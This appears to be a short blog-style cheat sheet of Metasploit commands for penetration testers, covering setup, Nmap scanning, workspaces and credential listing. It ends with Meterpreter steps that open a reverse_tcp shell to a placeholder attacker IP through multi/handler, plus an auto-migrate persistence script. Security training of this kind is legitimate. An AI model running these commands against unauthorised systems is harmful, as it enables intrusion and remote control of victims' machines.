Mastering Metasploit: A Comprehensive Guide for Ethical Hackers
Metasploit, a powerful and versatile penetration testing framework, stands as a cornerstone in the toolkit of ethical hackers and security professionals. In this article, we will delve into essential Metasploit commands and techniques, ensuring you harness its full potential.
Starting with Metasploit
- Starting PostgreSQL Manually
sudo systemctl start postgresql
- Creating the Metasploit Database
sudo msfdb init
- Updating Metasploit
sudo apt update && sudo apt install metasploit-framework
- Launching Metasploit Console
sudo msfconsole -q
- Conducting Nmap Scan within Metasploit
db_nmap <TARGET IP> -A -Pn
Managing Workspaces
- List Workspaces
workspace
- Add Workspace
workspace -a <workspace_name>
- Delete Workspace
workspace -d <workspace_name>
Credential Management
- Listing Discovered Credentials
creds
Exploiting with Meterpreter
- Adding a New Transport to Meterpreter Session
transport add -t reverse_tcp -l <ATTACKER IP> -p 5555
- Backgrounding the Session
background
- Setting Up Multi/Handler
use multi/handler
- Configuring Payload and Host
set payload windows/meterpreter/reverse_tcp
set LHOST <ATTACKER IP>
set LPORT 5555
- Initiating Exploitation
exploit -j
- Accessing Session
sessions -i 1
- Switching Transport
transport next
Enhancing Persistence
- Migrating Meterpreter Shell
set AutoRunScript post/windows/manage/migrate
This guide provides a streamlined overview of Metasploit's core functionalities. As you embark on your ethical hacking journey, remember to use these commands responsibly and in compliance with legal and ethical standards. Stay vigilant, stay secure!